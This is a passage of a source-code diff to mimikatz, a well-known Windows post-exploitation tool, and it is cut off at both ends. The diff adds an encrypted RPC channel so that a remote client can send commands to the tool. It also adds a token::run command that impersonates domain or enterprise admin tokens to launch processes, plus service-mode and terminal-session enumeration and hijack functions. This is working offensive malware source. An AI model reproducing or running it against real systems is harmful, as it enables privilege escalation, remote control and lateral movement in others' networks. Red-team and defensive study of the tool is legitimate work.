+				PRINT_ERROR(L"RpcMgmtEpEltInqNext: %08x\n", enumStatus);
+			status = RpcMgmtEpEltInqDone(&InquiryContext);
+			if(status != RPC_S_OK)
+				PRINT_ERROR(L"RpcMgmtEpEltInqDone: %08x\n", status);
+		}
+		else PRINT_ERROR(L"RpcMgmtEpEltInqBegin: %08x\n", status);
+		kull_m_rpc_deleteBinding(&Binding);
+	}
+	return STATUS_SUCCESS;
+}
+
+DWORD WINAPI kuhl_m_rpc_server_start(LPVOID lpThreadParameter)
+{
+	RPC_STATUS status;
+	RPC_BINDING_VECTOR *vector = NULL;
+	RPC_WSTR bindString = NULL;
+	PKUHL_M_RPC_SERVER_INF inf = (PKUHL_M_RPC_SERVER_INF) lpThreadParameter;
+	DWORD i;
+	BOOL toUnreg = FALSE;
+
+	status = RpcServerUseProtseqEp((RPC_WSTR) inf->szProtSeq, RPC_C_PROTSEQ_MAX_REQS_DEFAULT, (RPC_WSTR) inf->szEndpoint, NULL);
+	if(status == RPC_S_OK)
+	{
+		if(inf->AuthnSvc != RPC_C_AUTHN_NONE)
+			status = RpcServerRegisterAuthInfo((RPC_WSTR) inf->szService, inf->AuthnSvc, NULL, NULL);
+		else
+			status = RPC_S_OK;
+
+		if(status == RPC_S_OK)
+		{
+			status = RpcServerRegisterIf2(inf->srvif, NULL, NULL, inf->flags, RPC_C_LISTEN_MAX_CALLS_DEFAULT, -1, inf->sec ? inf->sec : kull_m_rpc_nice_SecurityCallback);
+			if(status == RPC_S_OK)
+			{
+				status = RpcServerInqBindings(&vector);
+				if(status == RPC_S_OK)
+				{
+					for(i = 0; i < vector->Count; i++)
+					{
+						status = RpcBindingToStringBinding(vector->BindingH[i], &bindString);
+						if(status == RPC_S_OK)
+						{
+							kprintf(L" > BindString[%u]: %s\n", i, bindString);
+							RpcStringFree(&bindString);
+						}
+						else PRINT_ERROR(L"RpcBindingToStringBinding: %08x\n", status);
+					}
+
+					if(inf->publishMe)
+					{
+						status = RpcEpRegister(inf->srvif, vector, NULL, (RPC_WSTR) MIMIKATZ L" RPC communicator");
+						if(toUnreg = (status == RPC_S_OK))
+							kprintf(L" > RPC bind registered\n");
+						else PRINT_ERROR(L"RpcEpRegister: %08x\n", status);
+					}
+					kprintf(L" > RPC Server is waiting!\n\n" MIMIKATZ L" # ");
+					status = RpcServerListen(1, RPC_C_LISTEN_MAX_CALLS_DEFAULT, FALSE);
+					kprintf(L" > RPC Server stopped\n");
+					if(toUnreg)
+					{
+						status = RpcEpUnregister(inf->srvif, vector, NULL);
+						if(status == RPC_S_OK)
+							kprintf(L" > RPC bind unregistered\n");
+						else PRINT_ERROR(L"RpcEpUnregister: %08x\n", status);
+					}
+					RpcBindingVectorFree(&vector);
+				}
+				else PRINT_ERROR(L"RpcServerInqBindings: %08x\n", status);
+				status = RpcServerUnregisterIfEx(inf->srvif, NULL, 1);
+				if(status != RPC_S_OK)
+					PRINT_ERROR(L"RpcServerUnregisterIf: %08x\n", status);
+			}
+			else PRINT_ERROR(L"RpcServerRegisterIf2: %08x\n", status);
+		}
+		else PRINT_ERROR(L"RpcServerRegisterAuthInfo: %08x\n", status);
+	}
+	else PRINT_ERROR(L"RpcServerUseProtseqEp: %08x\n", status);
+
+	if(inf->szProtSeq)
+		LocalFree(inf->szProtSeq);
+	if(inf->szEndpoint)
+		LocalFree(inf->szEndpoint);
+	if(inf->szService)
+		LocalFree(inf->szService);
+	LocalFree(inf);
+
+	if(isFinish)
+		mimikatz_end();
+	return ERROR_SUCCESS;
+}
+
+NTSTATUS kuhl_m_rpc_server(int argc, wchar_t * argv[])
+{
+	PKUHL_M_RPC_SERVER_INF inf;
+	PCWSTR szProtSeq, szEndpoint, szService;
+	RPC_STATUS status;
+	if(!kull_m_string_args_byName(argc, argv, L"stop", NULL, NULL))
+	{
+		if(inf = (PKUHL_M_RPC_SERVER_INF) LocalAlloc(LPTR, sizeof(KUHL_M_RPC_SERVER_INF)))
+		{
+			kull_m_rpc_getArgs(argc, argv, NULL, &szProtSeq, &szEndpoint, &szService, &inf->AuthnSvc, RPC_C_AUTHN_GSS_NEGOTIATE, TRUE);
+			kull_m_string_copy(&inf->szProtSeq, szProtSeq);
+			if(szEndpoint)
+				kull_m_string_copy(&inf->szEndpoint, szEndpoint);
+			if(szService)
+				kull_m_string_copy(&inf->szService, szService);
+			inf->publishMe = !kull_m_string_args_byName(argc, argv, L"noreg", NULL, NULL);
+			kprintf(L"Map Reg.: %s\n", inf->publishMe ? L"yes" : L"no");
+			inf->flags = kull_m_string_args_byName(argc, argv, L"secure", NULL, NULL) ? RPC_IF_ALLOW_SECURE_ONLY : RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH;
+			kprintf(L"Security: %s\n", (inf->flags & RPC_IF_ALLOW_SECURE_ONLY) ? L"Secure only" : L"Allow no auth");
+			inf->sec = kull_m_rpc_nice_verb_SecurityCallback;
+			inf->srvif = MimiCom_v1_0_s_ifspec;
+			CreateThread(NULL, 0, kuhl_m_rpc_server_start, inf, 0, NULL);
+		}
+	}
+	else
+	{
+		isFinish = FALSE;
+		status = RpcMgmtStopServerListening(NULL);
+		if(status != RPC_S_OK)
+			PRINT_ERROR(L"RpcMgmtStopServerListening: %08x\n", status);
+	}
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_rpc_connect(int argc, wchar_t * argv[])
+{
+	RPC_STATUS status, ntStatus;
+	PCWSTR szRemote, szProtSeq, szEndpoint, szService, szAlg;
+	DWORD AuthnSvc, rpcExc;
+	ALG_ID alg;
+	MIMI_PUBLICKEY serverKey = {0};
+
+	if(!hBinding)
+	{
+		kull_m_rpc_getArgs(argc, argv, &szRemote, &szProtSeq, &szEndpoint, &szService, &AuthnSvc, RPC_C_AUTHN_GSS_NEGOTIATE, TRUE);
+		kull_m_string_args_byName(argc, argv, L"alg", &szAlg, L"3DES");
+		alg = kull_m_crypto_name_to_algid(szAlg);
+		if(!(alg & ALG_CLASS_DATA_ENCRYPT))
+			alg = CALG_3DES;
+		kprintf(L"Algorithm: %s (%08x)\n", kull_m_crypto_algid_to_name(alg), alg);
+
+		if(kull_m_rpc_createBinding(NULL, szProtSeq, szRemote, szEndpoint, szService, FALSE, AuthnSvc, RPC_C_IMP_LEVEL_DEFAULT, &hBinding, NULL))
+		{
+			status = RpcEpResolveBinding(hBinding, MimiCom_v1_0_c_ifspec);
+			if(status == RPC_S_OK)
+			{
+				kprintf(L"Endpoint resolution is OK\n");
+				status = RPC_X_INVALID_BOUND;
+				if(clientKey = kull_m_crypto_dh_Create(alg))
+				{
+					RpcTryExcept
+					{
+						ntStatus = CLI_MimiBind(hBinding, &clientKey->publicKey, &serverKey, &hMimi);
+						if(NT_SUCCESS(ntStatus))
+						{
+							kprintf(MIMIKATZ L" is bound!\n");
+							if(kull_m_crypto_dh_CreateSessionKey(clientKey, &serverKey))
+								status = RPC_S_OK;
+							else PRINT_ERROR_AUTO(L"kull_m_crypto_dh_CreateSessionKey");
+						}
+						else PRINT_ERROR(L"CLI_MimiBind: %08x\n", ntStatus);
+					}
+					RpcExcept(RPC_EXCEPTION)
+					{
+						rpcExc = RpcExceptionCode();
+						if(rpcExc == RPC_S_SEC_PKG_ERROR)
+							PRINT_ERROR(L"A security package specific error occurred (Kerberos mutual auth not available?)\n");
+						else if(rpcExc == RPC_S_UNKNOWN_AUTHN_SERVICE)
+							PRINT_ERROR(L"The authentication service is unknown\n");
+						else if(rpcExc == RPC_S_SERVER_UNAVAILABLE)
+							PRINT_ERROR(L"RPC Server unavailable!\n");
+						else PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", rpcExc, rpcExc);
+					}
+					RpcEndExcept
+				}
+				else PRINT_ERROR_AUTO(L"kull_m_crypto_dh_Create");
+			}
+			else
+			{
+				if(status == EPT_S_NOT_REGISTERED)
+					PRINT_ERROR(L"Endpoint is not registered!\n");
+				else if(status == RPC_S_SERVER_UNAVAILABLE)
+					PRINT_ERROR(L"RPC Server unavailable!\n");
+				else PRINT_ERROR(L"RpcEpResolveBinding: %08x\n", status);
+			}
+		}
+		if(status != RPC_S_OK)
+			kuhl_m_rpc_close(0, NULL);
+	}
+	else PRINT_ERROR(L"Already bound, disconnect first!\n");
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS SRV_MimiBind(handle_t rpc_handle, PMIMI_PUBLICKEY clientPublicKey, PMIMI_PUBLICKEY serverPublicKey, MIMI_HANDLE *phMimi)
+{
+	NTSTATUS status;
+	PKIWI_DH serverKey = NULL;
+	*phMimi = NULL;
+
+	if(serverKey = kull_m_crypto_dh_Create(clientPublicKey->sessionType))
+	{
+		if(kull_m_crypto_dh_CreateSessionKey(serverKey, clientPublicKey))
+		{
+			*serverPublicKey = serverKey->publicKey;
+			if(serverPublicKey->pbPublicKey = (BYTE *) midl_user_allocate(serverPublicKey->cbPublicKey))
+			{
+				RtlCopyMemory(serverPublicKey->pbPublicKey, serverKey->publicKey.pbPublicKey, serverPublicKey->cbPublicKey);
+				status = STATUS_SUCCESS;
+			}
+			else
+			{
+				serverPublicKey->cbPublicKey = 0;
+				serverPublicKey->pbPublicKey = NULL;
+				status = STATUS_MEMORY_NOT_ALLOCATED;
+			}
+		}
+		else status = STATUS_CRYPTO_SYSTEM_INVALID;
+	}
+	else status = STATUS_CRYPTO_SYSTEM_INVALID;
+
+	if(NT_SUCCESS(status))
+		*phMimi = serverKey;
+	else if(serverKey)
+		kull_m_crypto_dh_Delete(serverKey);
+	return status;
+}
+
+NTSTATUS SRV_MiniUnbind(MIMI_HANDLE *phMimi)
+{
+	if(*phMimi)
+	{
+		kull_m_crypto_dh_Delete((PKIWI_DH) *phMimi);
+		*phMimi = NULL;
+	}
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS SRV_MimiCommand(MIMI_HANDLE phMimi, DWORD szEncCommand, BYTE *encCommand, DWORD *szEncResult, BYTE **encResult)
+{
+	NTSTATUS status;
+	PBYTE clearCommand, encBuffer;
+	DWORD szClearCommand, szEncBuffer;
+	*szEncResult = 0;
+	*encResult = NULL;
+	EnterCriticalSection(&outputCritical);
+	if(phMimi)
+	{
+		if(encCommand && szEncCommand)
+		{
+			if(kull_m_crypto_dh_simpleDecrypt(((PKIWI_DH) phMimi)->hSessionKey, encCommand, szEncCommand, (LPVOID *) &clearCommand, &szClearCommand))
+			{
+				kprintf(L"\n\n" MIMIKATZ L"(rpc): %s\n", clearCommand);
+				outputBufferElements = 0xffff;
+				outputBufferElementsPosition = 0;
+				if(outputBuffer = (wchar_t *) LocalAlloc(LPTR, outputBufferElements * sizeof(wchar_t)))
+				{
+					status = mimikatz_dispatchCommand((wchar_t *) clearCommand);
+					if(kull_m_crypto_dh_simpleEncrypt(((PKIWI_DH) phMimi)->hSessionKey, (PBYTE) outputBuffer, (DWORD) ((outputBufferElementsPosition + 1) * sizeof(wchar_t)), (LPVOID *) &encBuffer, &szEncBuffer))
+					{
+						if(*encResult = (BYTE *) midl_user_allocate(szEncBuffer))
+						{
+							RtlCopyMemory(*encResult, encBuffer, szEncBuffer);
+							*szEncResult = szEncBuffer;
+							status = STATUS_SUCCESS;
+						}
+						LocalFree(encBuffer);
+					}
+					outputBuffer = (wchar_t *) LocalFree(outputBuffer);
+					outputBufferElements = outputBufferElementsPosition = 0;
+				}
+			}
+			else status = ERROR_DECRYPTION_FAILED;
+		}
+		else status = ERROR_BAD_COMMAND;
+	}
+	else status = RPC_X_SS_CONTEXT_DAMAGED;
+	LeaveCriticalSection(&outputCritical);
+	if(status == STATUS_FATAL_APP_EXIT)
+	{
+		isFinish = TRUE;
+		RpcMgmtStopServerListening(NULL);
+	}
+	return status;
+}
+
+void __RPC_USER SRV_MIMI_HANDLE_rundown(MIMI_HANDLE phMimi)
+{
+	if(phMimi)
+		kull_m_crypto_dh_Delete((PKIWI_DH) phMimi);
+}
--- a/mimikatz/modules/kuhl_m_rpc.h
+++ b/mimikatz/modules/kuhl_m_rpc.h
@ -0,0 +1,36 @@
+/*	Benjamin DELPY `gentilkiwi`
+	http://blog.gentilkiwi.com
+	benjamin@gentilkiwi.com
+	Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#pragma once
+#include "kuhl_m.h"
+#include "../mimikatz.h"
+#include "../../modules/rpc/kull_m_rpc_mimicom.h"
+
+const KUHL_M kuhl_m_rpc;
+
+NTSTATUS kuhl_m_c_rpc_init();
+NTSTATUS kuhl_m_c_rpc_clean();
+
+NTSTATUS kuhl_m_rpc_server(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_rpc_connect(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_rpc_enum(int argc, wchar_t * argv[]);
+
+NTSTATUS kuhl_m_rpc_close(int argc, wchar_t * argv[]);
+
+NTSTATUS kuhl_m_rpc_do(wchar_t * input);
+
+typedef struct _KUHL_M_RPC_SERVER_INF {
+	PWSTR szProtSeq;
+	PWSTR szEndpoint;
+	PWSTR szService;
+	BOOL publishMe;
+	RPC_IF_HANDLE srvif;
+	DWORD AuthnSvc;
+	DWORD flags;
+	RPC_IF_CALLBACK_FN *sec;
+} KUHL_M_RPC_SERVER_INF, *PKUHL_M_RPC_SERVER_INF;
+
+
+//DWORD WINAPI kuhl_m_rpc_server_start(LPVOID lpThreadParameter);
--- a/mimikatz/modules/kuhl_m_service.c
+++ b/mimikatz/modules/kuhl_m_service.c
@ -14,13 +14,32 @@ const KUHL_M_C kuhl_m_c_service[] = {
 	{kuhl_m_service_preshutdown,L"preshutdown",	L"Preshutdown service"},
 	{kuhl_m_service_shutdown,	L"shutdown",	L"Shutdown service"},
 	{kuhl_m_service_list,		L"list",		L"List services"},
+	{kuhl_m_service_me,			L"me",			L"Me!"},
 };

 const KUHL_M kuhl_m_service = {
 	L"service", L"Service module", NULL,
-	ARRAYSIZE(kuhl_m_c_service), kuhl_m_c_service, NULL, NULL
+	ARRAYSIZE(kuhl_m_c_service), kuhl_m_c_service, kuhl_m_c_service_init, kuhl_m_c_service_clean
 };

+SERVICE_STATUS m_ServiceStatus = {SERVICE_WIN32_OWN_PROCESS, SERVICE_STOPPED, 0, NO_ERROR, 0, 0, 0};
+SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
+HANDLE hKiwiEventRunning;
+
+NTSTATUS kuhl_m_c_service_init()
+{
+	m_ServiceStatusHandle = NULL;
+	hKiwiEventRunning = NULL;
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_c_service_clean()
+{
+	if(m_ServiceStatusHandle)
+		kuhl_m_service_CtrlHandler(SERVICE_STOP);
+	return STATUS_SUCCESS;
+}
+
 NTSTATUS genericFunction(KUHL_M_SERVICE_FUNC function, wchar_t * text, int argc, wchar_t * argv[], DWORD dwControl)
 {

@ -82,4 +101,58 @@ NTSTATUS kuhl_m_service_shutdown(int argc, wchar_t * argv[])
 NTSTATUS kuhl_m_service_list(int argc, wchar_t * argv[])
 {
 	return STATUS_SUCCESS;
+}
+
+void WINAPI kuhl_m_service_CtrlHandler(DWORD Opcode)
+{
+	BOOL notCoded = FALSE;
+	switch(Opcode)
+	{
+		case SERVICE_CONTROL_PAUSE: 
+			m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
+			break;
+		case SERVICE_CONTROL_CONTINUE:
+			m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
+			break;
+		case SERVICE_CONTROL_STOP:
+		case SERVICE_CONTROL_SHUTDOWN: 
+			m_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
+			break;
+		default:
+			notCoded = TRUE;
+	}
+	if(!notCoded)
+	{
+		SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
+		if(m_ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING)
+			SetEvent(hKiwiEventRunning);
+	}
+	return;
+}
+
+void WINAPI kuhl_m_service_Main(DWORD argc, LPTSTR *argv)
+{
+	if(m_ServiceStatusHandle = RegisterServiceCtrlHandler(MIMIKATZ_SERVICE, kuhl_m_service_CtrlHandler))
+	{
+		m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
+		SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
+		m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
+		m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
+		SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
+		WaitForSingleObject(hKiwiEventRunning, INFINITE);
+		m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
+		SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
+		m_ServiceStatusHandle = NULL;
+	}
+}
+
+NTSTATUS kuhl_m_service_me(int argc, wchar_t * argv[])
+{
+	const SERVICE_TABLE_ENTRY DispatchTable[]= {{MIMIKATZ_SERVICE, kuhl_m_service_Main}, {NULL, NULL}};
+	if(hKiwiEventRunning = CreateEvent(NULL, TRUE, FALSE, NULL))
+	{
+		StartServiceCtrlDispatcher(DispatchTable);
+		CloseHandle(hKiwiEventRunning);
+	}
+	return STATUS_SUCCESS;
 }
--- a/mimikatz/modules/kuhl_m_service.h
+++ b/mimikatz/modules/kuhl_m_service.h
@ -10,6 +10,9 @@

 const KUHL_M kuhl_m_service;

+NTSTATUS kuhl_m_c_service_init();
+NTSTATUS kuhl_m_c_service_clean();
+
 typedef BOOL (* KUHL_M_SERVICE_FUNC) (PCWSTR serviceName);
 NTSTATUS genericFunction(KUHL_M_SERVICE_FUNC function, wchar_t * text, int argc, wchar_t * argv[], DWORD dwControl);

@ -20,4 +23,8 @@ NTSTATUS kuhl_m_service_suspend(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_service_resume(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_service_preshutdown(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_service_shutdown(int argc, wchar_t * argv[]);
-NTSTATUS kuhl_m_service_list(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_service_list(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_service_me(int argc, wchar_t * argv[]);
+
+void WINAPI kuhl_m_service_CtrlHandler(DWORD Opcode);
+void WINAPI kuhl_m_service_Main(DWORD argc, LPTSTR *argv);
--- a/mimikatz/modules/kuhl_m_standard.c
+++ b/mimikatz/modules/kuhl_m_standard.c
@ -17,6 +17,7 @@ const KUHL_M_C kuhl_m_c_standard[] = {
 	{kuhl_m_standard_version,	L"version",		L"Display some version informations"},
 	{kuhl_m_standard_cd,		L"cd",			L"Change or display current directory"},
 	{kuhl_m_standard_localtime,	L"localtime",	L"Displays system local date and time (OJ command)"},
+	{kuhl_m_standard_hostname,	L"hostname",	L"Displays system local hostname"},
 };
 const KUHL_M kuhl_m_standard = {
 	L"standard",	L"Standard module",	L"Basic commands (does not require module name)",
@ -146,4 +147,22 @@ NTSTATUS kuhl_m_standard_localtime(int argc, wchar_t * argv[])
 		kprintf(L"Zone : %.32s\n", (dwTzi == TIME_ZONE_ID_STANDARD) ? tzi.StandardName : tzi.DaylightName);
 	kprintf(L"UTC  : "); kull_m_string_displayFileTime(&ft); kprintf(L"\n");
 	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_standard_hostname(int argc, wchar_t * argv[])
+{
+	wchar_t *buffer;
+	DWORD dwSize = 0;
+	if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, NULL, &dwSize) && (GetLastError() == ERROR_MORE_DATA))
+	{
+		if(buffer = (wchar_t *) LocalAlloc(LPTR, dwSize * sizeof(wchar_t)))
+		{
+			if(GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, buffer, &dwSize))
+				kprintf(L"%s\n", buffer);
+			else PRINT_ERROR_AUTO(L"GetComputerNameEx(data)");
+			LocalFree(buffer);
+		}
+	}
+	else PRINT_ERROR_AUTO(L"GetComputerNameEx(init)");
+	return STATUS_SUCCESS;
 }
--- a/mimikatz/modules/kuhl_m_standard.h
+++ b/mimikatz/modules/kuhl_m_standard.h
@ -21,4 +21,5 @@ NTSTATUS kuhl_m_standard_base64(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_standard_version(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_standard_cd(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_standard_localtime(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_standard_hostname(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_standard_test(int argc, wchar_t * argv[]);
--- a/mimikatz/modules/kuhl_m_token.c
+++ b/mimikatz/modules/kuhl_m_token.c
@ -9,6 +9,7 @@ const KUHL_M_C kuhl_m_c_token[] = {
 	{kuhl_m_token_whoami,	L"whoami",	L"Display current identity"},
 	{kuhl_m_token_list,		L"list",	L"List all tokens of the system"},
 	{kuhl_m_token_elevate,	L"elevate",	L"Impersonate a token"},
+	{kuhl_m_token_run,		L"run",		L"Run!"},

 	{kuhl_m_token_revert,	L"revert",	L"Revert to proces token"},
 };
@ -43,24 +44,32 @@ NTSTATUS kuhl_m_token_whoami(int argc, wchar_t * argv[])

 NTSTATUS kuhl_m_token_list(int argc, wchar_t * argv[])
 {
-	kuhl_m_token_list_or_elevate(argc, argv, FALSE);
+	kuhl_m_token_list_or_elevate(argc, argv, FALSE, FALSE);
 	return STATUS_SUCCESS;
 }

 NTSTATUS kuhl_m_token_elevate(int argc, wchar_t * argv[])
 {
-	kuhl_m_token_list_or_elevate(argc, argv, TRUE);
+	kuhl_m_token_list_or_elevate(argc, argv, TRUE, FALSE);
 	return STATUS_SUCCESS;
 }

-NTSTATUS kuhl_m_token_list_or_elevate(int argc, wchar_t * argv[], BOOL elevate)
+NTSTATUS kuhl_m_token_run(int argc, wchar_t * argv[])
 {
-	KUHL_M_TOKEN_ELEVATE_DATA pData = {NULL, NULL, 0, elevate};
+	kuhl_m_token_list_or_elevate(argc, argv, FALSE, TRUE);
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_token_list_or_elevate(int argc, wchar_t * argv[], BOOL elevate, BOOL runIt)
+{
+	KUHL_M_TOKEN_ELEVATE_DATA pData = {NULL, NULL, 0, elevate, runIt, NULL};
 	WELL_KNOWN_SID_TYPE type = WinNullSid;
 	PWSTR name, domain;
 	PCWSTR strTokenId;
 	PPOLICY_DNS_DOMAIN_INFO pDomainInfo = NULL;

+	if(runIt)
+		kull_m_string_args_byName(argc, argv, L"process", &pData.pCommandLine, L"whoami.exe");
 	kull_m_string_args_byName(argc, argv, L"user", &pData.pUsername, NULL);

 	if(kull_m_string_args_byName(argc, argv, L"id", &strTokenId, NULL))
@ -68,11 +77,9 @@ NTSTATUS kuhl_m_token_list_or_elevate(int argc, wchar_t * argv[], BOOL elevate)
 		pData.tokenId = wcstoul(strTokenId, NULL, 0);
 	}
 	else if(kull_m_string_args_byName(argc, argv, L"domainadmin", NULL, NULL))
-	{
 		type = WinAccountDomainAdminsSid;
-		if(!kull_m_net_getCurrentDomainInfo(&pDomainInfo))
-			PRINT_ERROR_AUTO(L"kull_m_local_domain_user_getCurrentDomainSID");
-	}
+	else if(kull_m_string_args_byName(argc, argv, L"enterpriseadmin", NULL, NULL))
+		type = WinAccountEnterpriseAdminsSid;
 	else if(kull_m_string_args_byName(argc, argv, L"admin", NULL, NULL))
 		type = WinBuiltinAdministratorsSid;
 	else if((elevate && !pData.pUsername) || kull_m_string_args_byName(argc, argv, L"system", NULL, NULL))
@ -85,7 +92,11 @@ NTSTATUS kuhl_m_token_list_or_elevate(int argc, wchar_t * argv[], BOOL elevate)
 		}
 	}

-	if(!elevate || pData.tokenId || type || pData.pUsername)
+	if((type == WinAccountDomainAdminsSid) || (type == WinAccountEnterpriseAdminsSid))
+		if(!kull_m_net_getCurrentDomainInfo(&pDomainInfo))
+			PRINT_ERROR_AUTO(L"kull_m_local_domain_user_getCurrentDomainSID");
+
+	if(!elevate || !runIt || pData.tokenId || type || pData.pUsername)
 	{
 		kprintf(L"Token Id  : %u\nUser name : %s\nSID name  : ", pData.tokenId, pData.pUsername ? pData.pUsername : L"");
 		if(type)
@ -104,12 +115,11 @@ NTSTATUS kuhl_m_token_list_or_elevate(int argc, wchar_t * argv[], BOOL elevate)
 		else kprintf(L"\n");
 		kprintf(L"\n");
 		
-		if(!elevate || pData.tokenId || pData.pSid || pData.pUsername)
+		if(!elevate || !runIt || pData.tokenId || pData.pSid || pData.pUsername)
 			kull_m_token_getTokens(kuhl_m_token_list_or_elevate_callback, &pData);
 		
 		if(pData.pSid)
 			LocalFree(pData.pSid);
-		
 		if(pDomainInfo)
 			LsaFreeMemory(pDomainInfo);
 	}
@ -175,7 +185,7 @@ BOOL CALLBACK kuhl_m_token_list_or_elevate_callback(HANDLE hToken, DWORD ptid, P
 			else if(pData->tokenId)
 				isUserOK = (pData->tokenId == tokenStats.TokenId.LowPart);

-			if(isUserOK && DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE, NULL, (tokenStats.TokenType == TokenPrimary) ? SecurityDelegation : tokenStats.ImpersonationLevel, TokenImpersonation, &hNewToken))
+			if(isUserOK && DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE | (pData->runIt ? TOKEN_ASSIGN_PRIMARY : 0), NULL, (tokenStats.TokenType == TokenPrimary) ? SecurityDelegation : tokenStats.ImpersonationLevel, TokenImpersonation, &hNewToken))
 			{
 				if(pData->pSid)
 				{
@ -198,6 +208,8 @@ BOOL CALLBACK kuhl_m_token_list_or_elevate_callback(HANDLE hToken, DWORD ptid, P
 						}
 						else PRINT_ERROR_AUTO(L"SetThreadToken");
 					}
+					else if(pData->runIt)
+						isUserOK = !kull_m_process_run_data(pData->pCommandLine, hNewToken);
 				}
 				else isUserOK = TRUE;
 				CloseHandle(hNewToken);
--- a/mimikatz/modules/kuhl_m_token.h
+++ b/mimikatz/modules/kuhl_m_token.h
@ -7,6 +7,7 @@
 #include "kuhl_m.h"
 #include "../modules/kull_m_token.h"
 #include "../modules/kull_m_net.h"
+#include "kuhl_m_process.h"

 const KUHL_M kuhl_m_token;

@ -15,6 +16,8 @@ typedef struct _KUHL_M_TOKEN_ELEVATE_DATA {
 	PCWSTR pUsername;
 	DWORD tokenId;
 	BOOL elevateIt;
+	BOOL runIt;
+	PCWSTR pCommandLine;
 } KUHL_M_TOKEN_ELEVATE_DATA, *PKUHL_M_TOKEN_ELEVATE_DATA;

 void kuhl_m_token_displayAccount(HANDLE hToken);
@ -22,8 +25,8 @@ void kuhl_m_token_displayAccount(HANDLE hToken);
 NTSTATUS kuhl_m_token_whoami(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_token_list(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_token_elevate(int argc, wchar_t * argv[]);
+NTSTATUS kuhl_m_token_run(int argc, wchar_t * argv[]);
 NTSTATUS kuhl_m_token_revert(int argc, wchar_t * argv[]);
-NTSTATUS kuhl_m_token_kdup(int argc, wchar_t * argv[]);

-NTSTATUS kuhl_m_token_list_or_elevate(int argc, wchar_t * argv[], BOOL elevate);
+NTSTATUS kuhl_m_token_list_or_elevate(int argc, wchar_t * argv[], BOOL elevate, BOOL runIt);
 BOOL CALLBACK kuhl_m_token_list_or_elevate_callback(HANDLE hToken, DWORD ptid, PVOID pvArg);
--- a/mimikatz/modules/kuhl_m_ts.c
+++ b/mimikatz/modules/kuhl_m_ts.c
@ -7,6 +7,8 @@

 const KUHL_M_C kuhl_m_c_ts[] = {
 	{kuhl_m_ts_multirdp,	L"multirdp",	L"[experimental] patch Terminal Server service to allow multiples users"},
+	{kuhl_m_ts_sessions,	L"sessions",	NULL},
+	{kuhl_m_ts_remote,		L"remote",		NULL},
 };
 const KUHL_M kuhl_m_ts = {
 	L"ts",	L"Terminal Server module", NULL,
@ -40,4 +42,62 @@ NTSTATUS kuhl_m_ts_multirdp(int argc, wchar_t * argv[])
 {
 	kull_m_patch_genericProcessOrServiceFromBuild(TermSrvMultiRdpReferences, ARRAYSIZE(TermSrvMultiRdpReferences), L"TermService", L"termsrv.dll", TRUE);
 	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_ts_sessions(int argc, wchar_t * argv[])
+{
+	PWTS_SESSION_INFO info;
+	DWORD i, count, ret, cur;
+	LPWSTR buff;
+	BOOL isCur = ProcessIdToSessionId(GetCurrentProcessId(), &cur);
+
+	if(WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &info, &count))
+	{
+		for(i = 0; i < count; i++)
+		{
+			kprintf(L"%cid:%5u\tstate:%2u\tstation:%s", (isCur && (cur == info[i].SessionId)) ? L'*' : L' ', info[i].SessionId, info[i].State, info[i].pWinStationName);
+			if(WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, info[i].SessionId, WTSUserName, &buff, &ret))
+			{
+				kprintf(L"\tuser:%s", buff);
+				WTSFreeMemory(buff);
+			}
+			else PRINT_ERROR_AUTO(L"WTSQuerySessionInformation(WTSUserName)");
+			if(WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, info[i].SessionId, WTSDomainName, &buff, &ret))
+			{
+				kprintf(L"\tdomain:%s", buff);
+				WTSFreeMemory(buff);
+			}
+			else PRINT_ERROR_AUTO(L"WTSQuerySessionInformation(WTSDomainName)");
+			kprintf(L"\n");
+		}
+		WTSFreeMemory(info);
+	}
+	return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[])
+{
+	LPCWSTR szId;
+	DWORD id, target;
+	if(kull_m_string_args_byName(argc, argv, L"id", &szId, NULL))
+	{
+		id = wcstoul(szId, NULL, 0);
+		if(kull_m_string_args_byName(argc, argv, L"target", &szId, NULL))
+			target = wcstoul(szId, NULL, 0);
